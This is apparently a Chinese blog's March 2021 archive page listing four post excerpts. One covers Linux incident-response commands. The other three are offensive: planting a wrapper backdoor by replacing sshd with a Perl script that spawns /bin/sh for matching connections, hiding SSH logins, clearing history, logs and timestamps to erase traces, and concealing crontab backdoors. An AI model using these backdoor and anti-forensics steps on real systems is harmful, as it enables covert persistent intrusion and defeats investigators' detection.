2021 年 3月随笔档案 - drunk-kk

linux应急常用命令+技巧总结

摘要：常用命令 top # 命令可以直接看到进程实时情况。 ps aux --sort=pcpu | head -10 # 查看cpu占用率前十的进程，有时候可以发现top发现不了的东西 netstat -anpl # 检查当前存在的连接与监听端口 ps -ef #查看当前系统上运行的所有进程与其使用的命阅读全文

posted @ 2021-03-12 11:50 drunk-kk 阅读(131) 评论(0) 推荐(0)

linux-wrapper跟inetd服务后门

摘要：wrapper后门实践先部署后门 cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exe 阅读全文

posted @ 2021-03-10 18:46 drunk-kk 阅读(239) 评论(0) 推荐(0)

[GET!] 6个Linux痕迹隐藏小技巧!

摘要：目录隐藏远程SSH登陆记录清除当前的history记录隐藏Vim的操作记录隐藏文件修改时间锁定文件清除系统日志痕迹隐藏远程SSH登陆记录隐身登录系统，不会被w、last等指令检测到。 ssh -T root@192.0.0.1 /bin/bash -i -T表示不分配伪终端，/usr 阅读全文

posted @ 2021-03-09 10:28 drunk-kk 阅读(591) 评论(0) 推荐(0)

linux隐藏你的crontab后门

摘要：crontab定时后门 crontab是用来定期执行程序的命令，crond 命令每分钟会定期检查是否有要执行的工作，如果有要执行的工作便会自动执行该工作。注意: 新创建的 cron 任务，不会马上执行，至少要过 2 分钟后才可以，当然你可以重启 cron 来马上执行比如我们通过red 阅读全文

posted @ 2021-03-08 10:47 drunk-kk 阅读(806) 评论(0) 推荐(0)

03 2021 档案

公告